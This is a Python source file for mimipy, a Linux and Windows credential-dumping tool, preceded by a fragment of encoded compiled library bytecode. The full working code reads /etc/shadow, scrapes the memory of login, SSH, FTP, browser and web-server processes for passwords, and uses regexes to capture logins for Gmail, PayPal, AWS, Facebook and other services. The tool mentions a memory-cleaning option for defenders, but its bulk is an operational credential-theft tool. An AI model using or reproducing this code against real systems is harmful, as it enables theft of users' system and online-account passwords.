007}\\x07\\x00n\\x00\\x00t\\x0b\\x00j\\x0c\\x00d\\x03\\x00k\\x02\\x00r\\xea\\x00|\\x07\\x00d\\x00\\x00d\\x00\\x00d\\x04\\x00\\x85\\x03\\x00\\x19}\\x07\\x00n\\x00\\x00d\\x01\\x00}\\t\\x00t\\r\\x00t\\x04\\x00j\\x0e\\x00t\\x0f\\x00\\x83\\x01\\x00|\\x03\\x00t\\n\\x00|\\x01\\x00\\x83\\x01\\x00|\\x06\\x00\\x17t\\n\\x00|\\x07\\x00j\\x10\\x00d\\x05\\x00\\x83\\x01\\x00d\\x06\\x00\\x83\\x02\\x00\\x83\\x04\\x00}\\n\\x00|\\n\\x00d\\x01\\x00k\\x03\\x00r\\\\\\x00t\\x11\\x00j\\x12\\x00j\\x13\\x00t\\x04\\x00j\\x14\\x00\\x83\\x00\\x00d\\x07\\x00\\x83\\x02\\x00}\\x0b\\x00t\\x15\\x00d\\x08\\x00|\\x0b\\x00\\x16\\x83\\x01\\x00\\x82\\x01\\x00q\\\\\\x00q\\\\\\x00W|\\x00\\x00j\\x16\\x00\\x83\\x00\\x00\\x01t\\x17\\x00S(\\t\\x00\\x00\\x00Ni\\x00\\x00\\x00\\x00t\\x05\\x00\\x00\\x00bytest\\x06\\x00\\x00\\x00littlei\\xff\\xff\\xff\\xfft\\x03\\x00\\x00\\x00hexi\\x10\\x00\\x00\\x00RG\\x00\\x00\\x00s\\x1f\\x00\\x00\\x00Error using PTRACE_POKEDATA: %s(\\x18\\x00\\x00\\x00R\\x1e\\x00\\x00\\x00R;\\x00\\x00\\x00RI\\x00\\x00\\x00R\\x1f\\x00\\x00\\x00RH\\x00\\x00\\x00R\\x03\\x00\\x00\\x00t\\x06\\x00\\x00\\x00sizeoft\\x05\\x00\\x00\\x00ranget\\x03\\x00\\x00\\x00lent\\n\\x00\\x00\\x00read_bytesR,\\x00\\x00\\x00t\\x03\\x00\\x00\\x00syst\\t\\x00\\x00\\x00byteorderRN\\x00\\x00\\x00R\\x02\\x00\\x00\\x00t\\x0f\\x00\\x00\\x00PTRACE_POKEDATAt\\x06\\x00\\x00\\x00encodeR\\x0e\\x00\\x00\\x00RP\\x00\\x00\\x00RQ\\x00\\x00\\x00R\\x08\\x00\\x00\\x00R\\x10\\x00\\x00\\x00R7\\x00\\x00\\x00R$\\x00\\x00\\x00(\\x0c\\x00\\x00\\x00R&\\x00\\x00\\x00t\\x07\\x00\\x00\\x00addresst\\x04\\x00\\x00\\x00dataRT\\x00\\x00\\x00RU\\x00\\x00\\x00t\\t\\x00\\x00\\x00word_sizeRX\\x00\\x00\\x00t\\x04\\x00\\x00\\x00wordt\\r\\x00\\x00\\x00existing_datat\\x07\\x00\\x00\\x00attemptRV\\x00\\x00\\x00t\\x05\\x00\\x00\\x00error(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\x0b\\x00\\x00\\x00write_bytes\\xee\\x00\\x00\\x00s&\\x00\\x00\\x00\\x00\\x01\\t\\x01\\r\\x02\\x0f\\x01\\x0c\\x04\\x12\\x02\\x1f\\x01\\x11\\x01\\x12\\x013\\x01\\r\\x01\\x0f\\x01\\x16\\x02\\x06\\x01:\\x01\\x0c\\x01\\x1b\\x01\\x17\\x02\\n\\x01i\\x04\\x00\\x00\\x00c\\x03\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x06\\x00\\x00\\x00C\\x00\\x00\\x00s@\\x01\\x00\\x00|\\x00\\x00j\\x00\\x00r\\x16\\x00|\\x00\\x00j\\x01\\x00\\x83\\x00\\x00\\x01n\\x00\\x00d\\x01\\x00}\\x03\\x00t\\x02\\x00\\x0cs5\\x00t\\x03\\x00|\\x01\\x00\\x83\\x01\\x00d\\t\\x00k\\x00\\x00r\\x80\\x00t\\x04\\x00d\\x04\\x00t\\x05\\x00|\\x00\\x00j\\x06\\x00\\x83\\x01\\x00\\x17d\\x05\\x00\\x17d\\x06\\x00d\\x07\\x00\\x83\\x03\\x00\\x8f#\\x00}\\x04\\x00|\\x04\\x00j\\x07\\x00|\\x01\\x00\\x83\\x01\\x00\\x01|\\x04\\x00j\\x08\\x00|\\x02\\x00\\x83\\x01\\x00}\\x03\\x00Wd\\x00\\x00QXn\\xa6\\x00t\\t\\x00d\\x04\\x00t\\x05\\x00|\\x00\\x00j\\x06\\x00\\x83\\x01\\x00\\x17d\\x05\\x00\\x17\\x83\\x01\\x00}\\x05\\x00t\\n\\x00t\\x0b\\x00|\\x05\\x00\\x83\\x01\\x00t\\x0c\\x00j\\r\\x00\\x83\\x02\\x00}\\x06\\x00zc\\x00t\\x0e\\x00|\\x06\\x00|\\x01\\x00t\\x0c\\x00j\\x0f\\x00\\x83\\x03\\x00\\x01d\\x01\\x00}\\x03\\x00y\\x16\\x00t\\x0c\\x00j\\x08\\x00|\\x06\\x00|\\x02\\x00\\x83\\x02\\x00}\\x03\\x00Wn-\\x00\\x04t\\x10\\x00k\\n\\x00r\\x16\\x01\\x01}\\x07\\x00\\x01t\\x11\\x00j\\x12\\x00d\\x08\\x00|\\x02\\x00|\\x01\\x00|\\x07\\x00f\\x03\\x00\\x16\\x83\\x01\\x00\\x01n\\x01\\x00XWd\\x00\\x00t\\x13\\x00|\\x06\\x00\\x83\\x01\\x00\\x01X|\\x00\\x00j\\x00\\x00r<\\x01|\\x00\\x00j\\x14\\x00\\x83\\x00\\x00\\x01n\\x00\\x00|\\x03\\x00S(\\n\\x00\\x00\\x00NRB\\x00\\x00\\x00i\\x02\\x00\\x00\\x00i \\x00\\x00\\x00s\\x06\\x00\\x00\\x00/proc/s\\x04\\x00\\x00\\x00/memR*\\x00\\x00\\x00i\\x00\\x00\\x00\\x00s\\x1a\\x00\\x00\\x00Error reading %s at %s: %sI\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00(\\x15\\x00\\x00\\x00R#\\x00\\x00\\x00R;\\x00\\x00\\x00t\\x12\\x00\\x00\\x00LARGE_FILE_SUPPORTR,\\x00\\x00\\x00R+\\x00\\x00\\x00R\\\\\\x00\\x00\\x00R\\x1f\\x00\\x00\\x00t\\x04\\x00\\x00\\x00seekR-\\x00\\x00\\x00R\\x00\\x00\\x00\\x00t\\x06\\x00\\x00\\x00open64R\\x01\\x00\\x00\\x00R\\x11\\x00\\x00\\x00t\\x08\\x00\\x00\\x00O_RDONLYt\\x07\\x00\\x00\\x00lseek64t\\x08\\x00\\x00\\x00SEEK_SETR2\\x00\\x00\\x00R/\\x00\\x00\\x00t\\x04\\x00\\x00\\x00infot\\x07\\x00\\x00\\x00c_closeR7\\x00\\x00\\x00(\\x08\\x00\\x00\\x00R&\\x00\\x00\\x00R|\\x00\\x00\\x00Rq\\x00\\x00\\x00R}\\x00\\x00\\x00R\\x1c\\x00\\x00\\x00t\\x04\\x00\\x00\\x00patht\\x02\\x00\\x00\\x00fdR5\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyRw\\x00\\x00\\x00\\n\\x01\\x00\\x00s(\\x00\\x00\\x00\\x00\\x01\\t\\x01\\r\\x01\\x06\\x01\\x19\\x01&\\x01\\r\\x01\\x18\\x02\\x1d\\x01\\x18\\x01\\x03\\x01\\x13\\x01\\x06\\x01\\x03\\x01\\x16\\x01\\x0f\\x01"\\x02\\x0b\\x01\\t\\x01\\r\\x01N(\\x12\\x00\\x00\\x00t\\x08\\x00\\x00\\x00__name__t\\n\\x00\\x00\\x00__module__R\\x1b\\x00\\x00\\x00R$\\x00\\x00\\x00R\\x1a\\x00\\x00\\x00R6\\x00\\x00\\x00R8\\x00\\x00\\x00R9\\x00\\x00\\x00R%\\x00\\x00\\x00t\\x0c\\x00\\x00\\x00staticmethodRA\\x00\\x00\\x00R \\x00\\x00\\x00RW\\x00\\x00\\x00Ro\\x00\\x00\\x00R;\\x00\\x00\\x00R7\\x00\\x00\\x00R\\x83\\x00\\x00\\x00Rw\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyR\\x18\\x00\\x00\\x00F\\x00\\x00\\x00s\\x1a\\x00\\x00\\x00\\x06\\x01\\x15\\x12\\t+\\t\\x04\\t\\x04\\t\\x08\\x0f\\x0b\\x0f\\x10\\t\\x14\\x15\\x1f\\t\\x06\\t\\x06\\t\\x1c(1\\x00\\x00\\x00t\\x04\\x00\\x00\\x00copyt\\x06\\x00\\x00\\x00structt\\x05\\x00\\x00\\x00utilst\\x08\\x00\\x00\\x00platformRH\\x00\\x00\\x00R]\\x00\\x00\\x00Rx\\x00\\x00\\x00R\\x00\\x00\\x00\\x00R\\x01\\x00\\x00\\x00R\\x02\\x00\\x00\\x00R\\x03\\x00\\x00\\x00R\\x04\\x00\\x00\\x00R\\x05\\x00\\x00\\x00R\\x06\\x00\\x00\\x00R\\x07\\x00\\x00\\x00R\\x08\\x00\\x00\\x00R\\x0e\\x00\\x00\\x00R\\x11\\x00\\x00\\x00RK\\x00\\x00\\x00R\\t\\x00\\x00\\x00R\\n\\x00\\x00\\x00t\\n\\x00\\x00\\x00structurest\\x07\\x00\\x00\\x00loggingt\\t\\x00\\x00\\x00getLoggerR/\\x00\\x00\\x00t\\x04\\x00\\x00\\x00CDLLR$\\x00\\x00\\x00t\\x04\\x00\\x00\\x00libct\\x10\\x00\\x00\\x00__errno_locationt\\r\\x00\\x00\\x00get_errno_loct\\x07\\x00\\x00\\x00restypeR\\x17\\x00\\x00\\x00R)\\x00\\x00\\x00RN\\x00\\x00\\x00t\\x07\\x00\\x00\\x00c_int32RI\\x00\\x00\\x00t\\x08\\x00\\x00\\x00argtypest\\x08\\x00\\x00\\x00mprotectR\\x1d\\x00\\x00\\x00R\\x84\\x00\\x00\\x00t\\n\\x00\\x00\\x00c_longlongt\\t\\x00\\x00\\x00c_off64_tR\\x88\\x00\\x00\\x00R\\x86\\x00\\x00\\x00t\\x07\\x00\\x00\\x00pread64R8\\x00\\x00\\x00R\\x8b\\x00\\x00\\x00R0\\x00\\x00\\x00R\\x18\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\x08\\x00\\x00\\x00\\x11\\x00\\x00\\x00sX\\x00\\x00\\x00\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01$\\x01@\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x16\\x01\\n\\x01\\x0c\\x02\\x0f\\x02\\x15\\x01\\t\\x01\\x0f\\x02\\t\\x06\\t\\x01\\t\\x01\\x15\\x01\\t\\x01\\t\\x01\\t\\x01\\x12\\x01\\x06\\x01\\x03\\x01\\t\\x01\\t\\x01\\x12\\x01\\t\\x01\\t\\x01\\t\\x01\\x0f\\x01\\t\\x01\\t\\x01\\x15\\x01\\t\\x01\\t\\x01\\t\\x01\\x0c\\x01\\t\\x01\\n\\x01\\x03\\x01\\x11\\x02\'\np27\nsS\'memorpy/version.pyc\'\np28\nS\'\\x03\\xf3\\r\\ng\\x18\\x05Yc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00@\\x00\\x00\\x00s\\x14\\x00\\x00\\x00d\\x04\\x00Z\\x00\\x00d\\x02\\x00e\\x00\\x00\\x16Z\\x01\\x00d\\x03\\x00S(\\x05\\x00\\x00\\x00i\\x01\\x00\\x00\\x00i\\x06\\x00\\x00\\x00s\\x05\\x00\\x00\\x00%s.%sN(\\x02\\x00\\x00\\x00i\\x01\\x00\\x00\\x00i\\x06\\x00\\x00\\x00(\\x02\\x00\\x00\\x00t\\x07\\x00\\x00\\x00versiont\\x0e\\x00\\x00\\x00version_string(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sO\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/version.pyt\\x08\\x00\\x00\\x00\\x04\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x06\\x01\'\np29\nsS\'memorpy/structures.pyc\'\np30\nS\'\\x03\\xf3\\r\\ng\\x18\\x05Yc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00@\\x00\\x00\\x00s6\\x00\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x00\\x00Z\\x00\\x00e\\x00\\x00j\\x01\\x00d\\x02\\x00k\\x02\\x00r(\\x00d\\x00\\x00d\\x03\\x00l\\x02\\x00Tn\\n\\x00d\\x00\\x00d\\x03\\x00l\\x03\\x00Td\\x01\\x00S(\\x04\\x00\\x00\\x00i\\xff\\xff\\xff\\xffNt\\x05\\x00\\x00\\x00win32(\\x01\\x00\\x00\\x00t\\x01\\x00\\x00\\x00*(\\x04\\x00\\x00\\x00t\\x03\\x00\\x00\\x00syst\\x08\\x00\\x00\\x00platformt\\r\\x00\\x00\\x00WinStructurest\\r\\x00\\x00\\x00LinStructures(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/structures.pyt\\x08\\x00\\x00\\x00\\x04\\x00\\x00\\x00s\\x06\\x00\\x00\\x00\\x0c\\x01\\x0f\\x01\\r\\x02\'\np31\ns.') #!/usr/bin/env python # -*- coding: UTF8 -*- # Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu) # mimipy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms """ Author: Nicolas VERDIER (contact@n1nj4.eu) Original idea from @huntergregal (https://github.com/huntergregal/mimipenguin) This is a port in python of @huntergregal's bash script mimipenguin.sh with some improvments : - possibility to clean passwords found from memory - possibility to search for any trace of your password in all your processes - possibility to scan a process by pid - add some additional processes to scan like lightDM You can find the bleeding edge version of mimipy here : https://github.com/n1nj4sec/mimipy """ import sys, os import urllib2 import re import argparse import logging import time import random import traceback import base64 if sys.platform!="win32": import crypt class VersionError(Exception): pass try: from memorpy import * try: from memorpy.version import version as memorpy_version except: memorpy_version=(0,0) if memorpy_version < (1,6): logging.warning("memorpy version is too old, please update !") raise VersionError("memorpy version is too old, please update !") except ImportError as e: logging.warning("%s\ninstall with: \"pip install https://github.com/n1nj4sec/memorpy/archive/master.zip\""%e) raise e LOOK_AFTER_SIZE=2*10**6 LOOK_BEFORE_SIZE=2*10**6 def colorize(s, color="grey"): if s is None: return "" s=str(s) res=s COLOR_STOP="\033[0m" if color.lower()=="random": color=random.choice(["blue","red","green","yellow"]) if color.lower()=="blue": res="\033[34m"+s+COLOR_STOP if color.lower()=="red": res="\033[31m"+s+COLOR_STOP if color.lower()=="green": res="\033[32m"+s+COLOR_STOP if color.lower()=="yellow": res="\033[33m"+s+COLOR_STOP if color.lower()=="grey": res="\033[37m"+s+COLOR_STOP if color.lower()=="darkgrey": res="\033[1;30m"+s+COLOR_STOP return res def get_shadow_hashes(): if sys.platform=="win32" or sys.platform=="darwin": return [] hashes=[] try: with open('/etc/shadow', 'rb') as f: for line in f: tab=line.split(":") if len(tab[1])>10: hashes.append((tab[0],tab[1])) except Exception as e: logging.warning("Error retrieving shadow hashes: %s"%e) return hashes def memstrings(mw, start_offset=None, end_offset=None, optimizations=''): for _,x in mw.mem_search(r"([\x20-\x7e]{6,50})[^\x20-\x7e]", ftype='re', start_offset=start_offset, end_offset=end_offset, optimizations=optimizations): yield x passwords_found=set() def password_found(desc, process, user, password): global passwords_found if (process, user, password) not in passwords_found: passwords_found.add((process, user, password)) print colorize("%s : "%desc, color="green") print colorize("\t- Process\t: %s"%process, color="grey") print colorize("\t- Username\t: %s"%user, color="grey") print colorize("\t- Password\t: %s"%password, color="grey") def password_list_match(password_list, near): for passwd in password_list: if near.search(passwd): return True return False def cleanup_string(s): ns="" for c in s: if ord(c)<0x20 or ord(c)>0x7e: break ns+=c return ns def get_strings_around(mw, addr, string_at_addr, max_strings=30): strings_list=[] logging.debug("looking for strings around %s from %s to %s"%(hex(addr), int(addr-LOOK_BEFORE_SIZE), int(addr-LOOK_AFTER_SIZE))) for o in memstrings(mw, start_offset=int(addr-LOOK_BEFORE_SIZE), end_offset=int(addr+LOOK_AFTER_SIZE)): s=cleanup_string(o.read(type='string', maxlen=51, errors='ignore')) strings_list.append(s) if len(strings_list)>=30 and string_at_addr in strings_list[max_strings/2]: break elif len(strings_list)>30: strings_list=strings_list[1:] return strings_list def search_password(optimizations='nsrx', pid=None, mode="cleartext", ignore=[]): import getpass mypasswd=getpass.getpass("search your password: ") if mode!="no-cleartext": if mode=="cleartext" or mode=="all": print ("Searching for cleartext ...") search_string(mypasswd, optimizations=optimizations, pid=pid, ignore=ignore) else: mode="all" if mode=="xor" or mode=="all": for i in range(1,255): newpasswd=''.join([chr(ord(x)^i) for x in mypasswd]) print ("Searching for password xored with %s : %s ..."%(hex(i), repr(newpasswd))) search_string(newpasswd, optimizations=optimizations, pid=pid, ignore=ignore) if mode=="b64" or mode=="all": newpasswd=base64.b64encode(mypasswd) print ("Searching for password encoded with base64 : %s ..."%(newpasswd)) search_string(newpasswd, optimizations=optimizations, pid=pid, ignore=ignore) def search_string(mypasswd, optimizations='nsrx', pid=None, ignore=[]): for procdic in Process.list(): name=procdic.get("name","") cpid=int(procdic["pid"]) if sys.platform=="win32": if pid==0 or pid==4: continue if pid is not None: if pid!=cpid: continue elif cpid==os.getpid(): continue if ignore: ignore_proc=False for i in ignore: if i in name: ignore_proc=True break if ignore_proc: logging.info("process %s ignored"%name) continue logging.info("Searching pass in %s (%s)"%(name, cpid)) try: with MemWorker(pid=cpid) as mw: #for _,x in mw.mem_search(r"\$[0-9][a-z]?\$(?:[a-zA-Z0-9\./\-\+]{4,}\$)?[a-zA-Z0-9\./\-\+]{20,}", ftype='re'): # h=x.read(type='string', maxlen=300) # print "hash found in %s (%s) : %s"%(name, pid, h) # strings_list=get_strings_around(mw, x, h) # print "strings found around : %s"%strings_list # if not strings_list: # x.dump(before=200, size=400) for x in mw.mem_search(mypasswd, optimizations=optimizations): print colorize("[+] password found in process %s (%s) : %s !"%(name, cpid, x), color="green") x.dump(before=500, size=1000) print "strings found around : " strings_list=get_strings_around(mw, x, mypasswd) print "strings found around : %s"%strings_list #print "strings where the password's address is referenced :" #for _,o in mw.search_address(x): # o.dump(before=200, size=400) #print "done" except Exception as e: logging.error("Error scanning process %s (%s): %s"%(name, cpid, e)) logging.debug(traceback.format_exc()) #from https://github.com/putterpanda/mimikittenz mimikittenz_regex=[ ("Gmail","&Email=(?P.{1,99})?&Passwd=(?P.{1,99})?&PersistentCookie="), ("Dropbox","login_email=(?P.{1,99})&login_password=(?P.{1,99})&"), ("SalesForce","&display=page&username=(?P.{1,32})&pw=(?P.{1,16})&Login="), ("Office365","login=(?P.{1,32})&passwd=(?P.{1,22})&PPSX="), ("MicrosoftOneDrive","login=(?P.{1,42})&passwd=(?P.{1,22})&type=.{1,2}&PPFT="), ("PayPal","login_email=(?P.{1,48})&login_password=(?P.{1,16})&submit=Log\+In&browser_name"), ("awsWebServices","&email=(?P.{1,48})&create=.{1,2}&password=(?P.{1,22})&metadata1="), ("OutlookWeb","&username=(?P.{1,48})&password=(?P.{1,48})&passwordText"), ("Slack","&crumb=.{1,70}&email=(?P.{1,50})&password=(?P.{1,48})"), ("CitrixOnline","emailAddress=(?P.{1,50})&password=(?P.{1,50})&submit"), ("Xero ","fragment=&userName=(?P.{1,32})&password=(?P.{1,22})&__RequestVerificationToken="), ("MYOB","UserName=(?P.{1,50})&Password=(?P.{1,50})&RememberMe="), ("JuniperSSLVPN","tz_offset=-.{1,6}&username=(?P.{1,22})&password=(?P.{1,22})&realm=.{1,22}&btnSubmit="), ("Twitter","username_or_email%5D=(?P.{1,42})&session%5Bpassword%5D=(?P.{1,22})&remember_me="), ("Facebook","lsd=.{1,10}&email=(?P.{1,42})&pass=(?P.{1,22})&(?:default_)?persistent="), ("LinkedIN","session_key=(?P.{1,50})&session_password=(?P.{1,50})&isJsEnabled"), ("Malwr","&username=(?P.{1,32})&password=(?P.{1,22})&next="), ("VirusTotal","password=(?P.{1,22})&username=(?P.{1,42})&next=%2Fen%2F&response_format=json"), ("AnubisLabs","username=(?P.{1,42})&password=(?P.{1,22})&login=login"), ("CitrixNetScaler","login=(?P.{1,22})&passwd=(?P.{1,42})"), ("RDPWeb","DomainUserName=(?P.{1,52})&UserPass=(?P.{1,42})&MachineType"), ("JIRA","username=(?P.{1,50})&password=(?P.{1,50})&rememberMe"), ("Redmine","username=(?P.{1,50})&password=(?P.{1,50})&login=Login"), ("Github","%3D%3D&login=(?P.{1,50})&password=(?P.{1,50})"), ("BugZilla","Bugzilla_login=(?P.{1,50})&Bugzilla_password=(?P.{1,50})"), ("Zendesk","user%5Bemail%5D=(?P.{1,50})&user%5Bpassword%5D=(?P.{1,50})"), ("Cpanel","user=(?P.{1,50})&pass=(?P.{1,50})"), ] def search_http_creds(data, offset): #those basic string search pre-checks speed up a lot analysis if "Basic " in data: for res in GLOBAL_REGEX['Basic'].finditer(data): b64=res.groups()[0] try: user, password=base64.b64decode(b64).split(":",1) except: #if we can't decode it's a false positive pass else: yield "Basic", user, password, "unknown" for word in ["passw","Passw","PASSW"]: if word in data: index=0 while True: if index > len(data): break ni=data.find(word, index) if ni==-1: break si=ni-100 if si<0: si=0 #print "GET/POST in data %s"%offset for res in GLOBAL_REGEX['GET/POST'].finditer(data, si, ni+100): dic=res.groupdict() login=dic["Login"] passwd=dic["Password"] domain="unknown" #now we found a password, let's check if it's a known website for d, regex in mimikittenz_regex: if re.search(regex, data[si:ni+100]): domain=d break yield "GET/POST", dic["Login"], dic["Password"], domain index=ni+100 def loot_http_passwords(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'): logging.info("Analysing process %s (%s) for HTTP passwords ..."%(name, pid)) with MemWorker(name=name, pid=pid) as mw: for cred_type, login, password, domain in mw.mem_search(search_http_creds, ftype='lambda', optimizations=optimizations): desc=rule["desc"]+" "+cred_type+":<%s>"%domain yield (desc, login, password) def loot_mysql_passwords(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'): logging.info("Analysing process %s (%s) for MySQL passwords ..."%(name, pid)) with MemWorker(name=name, pid=pid) as mw: for cred_type, login, password in mw.mem_search(search_mysql_creds, ftype='lambda', optimizations=optimizations): yield (rule["desc"]+" "+cred_type, login, password) def test_shadow(name, pid, rule, clean=False, cred_cb=None, optimizations='nsrx'): logging.info("Analysing process %s (%s) for shadow passwords ..."%(name, pid)) password_tested=set() #to avoid hashing the same string multiple times with MemWorker(name=name, pid=pid) as mw: scanned_segments=[] for _,match_addr in mw.mem_search(rule["near"], ftype='re', optimizations=optimizations): password_list=[] total=0 start=int(match_addr-LOOK_AFTER_SIZE) end=int(match_addr+LOOK_AFTER_SIZE) for s,e in scanned_segments: if end < s or start > e: continue #no collision elif start >=s and e >= start and end >= e: logging.debug("%s-%s reduced to %s-%s"%(hex(start), hex(end), hex(e), hex(end))) start=e-200 #we only scan a smaller region because some of it has already been scanned logging.debug("looking between offsets %s-%s"%(hex(start),hex(end))) scanned_segments.append((start, end)) for x in memstrings(mw, start_offset=start, end_offset=end, optimizations=optimizations): passwd=cleanup_string(x.read(type='string', maxlen=51, errors='ignore')) total+=1 password_list.append(passwd) if len(password_list)>40: password_list=password_list[1:] if password_list_match(password_list, rule["near"]): for p in password_list: if p not in password_tested: password_tested.add(p) for user, h in shadow_hashes: if crypt.crypt(p, h) == h: yield (rule["desc"], user, p) if clean: logging.info("cleaning password from memory in proc %s at offset: %s ..."%(name, hex(x))) x.write("x"*len(p)) shadow_hashes=[] def mimipy_loot_passwords(clean=False, optimizations='nsrx', ignore=None): global shadow_hashes shadow_hashes=get_shadow_hashes() for procdic in Process.list(): name=procdic.get("name", "") pid=int(procdic["pid"]) if sys.platform=="win32": if pid==0 or pid==4: continue if ignore: ignore_proc=False for i in ignore: if i in name: ignore_proc=True break if ignore_proc: logging.info("process %s ignored"%name) continue for rule in rules: if re.search(rule["process"], name): start_time=time.time() try: for t, u, p in rule["func"](name, pid, rule, clean=clean, optimizations=optimizations): yield (t, name, u, p) except Exception as e: logging.warning("[-] %s"%e) logging.debug(traceback.format_exc()) finally: logging.info("Process %s analysed in %s seconds"%(name, time.time()-start_time)) GLOBAL_REGEX = { #\x00Basic b64\x00 often found in firefox "Basic" : re.compile(r"(?:WWW-|Proxy-)?(?:(?:Authorization(?:\x00|:)\s*)|\x00)Basic\s+(?P[a-zA-Z0-9/\+]+={0,3})", re.IGNORECASE), #TODO: digest, ntlm, ... hashes are still nice "GET/POST" : re.compile(r"(:?e?mail(?:_?adress)?|log(?:in)?|user(?:name)?|session_key|user%5Bemail%5D)=(?P[a-zA-Z0-9%_+*.:-]{0,25})&.{0,10}?(?:[a-z]{1,10}_|user)?(?:pa?s?s?w?o?r?d?|mdp|%5Bpassword%5D)=(?P[a-zA-Z0-9%_+*.:-]{0,25})", re.IGNORECASE), "MySQL-Client-1" : re.compile(r"passwd\x00\x00!(?:\x00){2,}(?P[^\x00]+).*?shadow\x00\x00*!(?:\x00){2,}(?P[^\x00]+)"), "MySQL-Client-2" : re.compile(r"/var/run/mysqld/mysqld.sock(?:\x00)+[0-9\.-]+(?:\x00)+!(?:\x00)+(?P[^\x00]+)(?:\x00)+!(?:\x00)+(?P[^\x00]+)"), "MySQL-Client-3" : re.compile(r"\x00!(?:\x00)+(?P[^\x00]+)(?:\x00)+!(?:\x00)+(?P[^\x00]+)(?:\x00)+mysql> elp;"), } rules = [ { "desc" : "[SYSTEM - GNOME]", "process" : r"gnome-keyring-daemon|gdm-password|gdm-session-worker", "near" : r"libgcrypt\.so\..+|libgck\-1\.so\.0|_pammodutil_getpwnam_|gkr_system_authtok", "func" : test_shadow, }, { "desc" : "[SYSTEM - LightDM]", # Ubuntu/xubuntu login screen :) https://doc.ubuntu-fr.org/lightdm "process" : r"lightdm", "near" : r"_pammodutil_getpwnam_|gkr_system_authtok", "func" : test_shadow, }, { "desc" : "[SYSTEM - SSH Server - sudo]", "process" : r"/sshd$", "near" : r"sudo.+|_pammodutil_getpwnam_", "func" : test_shadow, }, { "desc" : "[SSH Client - sudo]", "process" : r"/ssh$", "near" : r"sudo.+|/tmp/ICE-unix/[0-9]+", "func" : test_shadow, }, { "desc" : "[SYSTEM - VSFTPD]", "process" : r"vsftpd", "near" : r"^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$", "func" : test_shadow, }, #{ # "desc" : "[MySQL Client]", # "process" : r"/mysql$", # "func" : loot_mysql_passwords, #}, { "desc" : "[HTTP]", "process" : r"firefox|iceweasel|chromium|chrome|/apache2|squid", "func" : loot_http_passwords, }, ] REGEX_TYPE=type(re.compile("^plop$")) #precompile regexes to optimize speed for x in rules: if "near" in x: if type(x["near"])!=REGEX_TYPE: x["near"]=re.compile(x["near"]) if "process" in x: if type(x["process"])!=REGEX_TYPE: x["process"]=re.compile(x["process"]) if __name__=="__main__": parser = argparse.ArgumentParser(description=""" mimipy can loot passwords from memory or overwrite them to mitigate mimipenguin\'s dumps ! Author: Nicolas VERDIER (contact@n1nj4.eu) orginal mimipenguin.sh script and idea from @huntergregal Bleeding Edge version: https://github.com/n1nj4sec/mimipy """, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('--clean', action='store_true', help='@blueteams protect yourself and clean found passwords from memory ! You might want to regularly run this on your workstation/servers') parser.add_argument('-v', '--verbose', action='store_true', help='be more verbose !') parser.add_argument('-n', '--no-optimize', action='store_true', help='disable optimisations (search the whole memory whatever region perms are) (slower)') parser.add_argument('-p', '--pid', type=int, help='choose the process\'s pid to scan instead of automatic selection') parser.add_argument('-i', '--ignore', action='append', help='ignore a process. This option can be used multiple times. ex: -i apache2 -i firefox') parser.add_argument('--search-password', action='store_true', help='prompt for your password and search it in all your processes !.') parser.add_argument('-m', '--search-mode', choices=["cleartext", "xor", "b64", "all", "no-cleartext"], default='cleartext', help='search for different obfuscations methods') args = parser.parse_args() if args.verbose: logging.basicConfig(stream=sys.stderr, level=logging.INFO) else: logging.basicConfig(stream=sys.stderr, level=logging.WARNING) logging.basicConfig(filename='example.log', level=logging.DEBUG) total_time=time.time() if sys.platform!='win32': if os.geteuid()!=0: if sys.platform=="darwin": logging.error("needs root to run mimipy on macOS") exit(1) else: logging.warning("Some of mimipy's functions are only available when running as root") opt="nsrx" if args.no_optimize: logging.info("Optimizations disabled") opt='' if args.search_password: search_password(optimizations=opt, pid=args.pid, mode=args.search_mode, ignore=args.ignore) exit(0) if args.pid: pid_found=False for procdic in Process.list(): name=procdic.get("name","") pid=int(procdic["pid"]) if sys.platform=="win32": if pid==0 or pid==4: continue if pid==args.pid: pid_found=True try: start_time=time.time() for rule in rules: for t,u,p in rule["func"](name, pid, rule, clean=args.clean, optimizations=opt): password_found(t, name, u, p) except Exception as e: logging.warning("[-] %s"%e) finally: logging.info("Process %s analysed in %s seconds"%(name, time.time()-start_time)) if not pid_found: logging.info("pid %s not found !"%args.pid) else: for t, process, u, passwd in mimipy_loot_passwords(optimizations=opt, clean=args.clean, ignore=args.ignore): password_found(t, process, u, passwd) 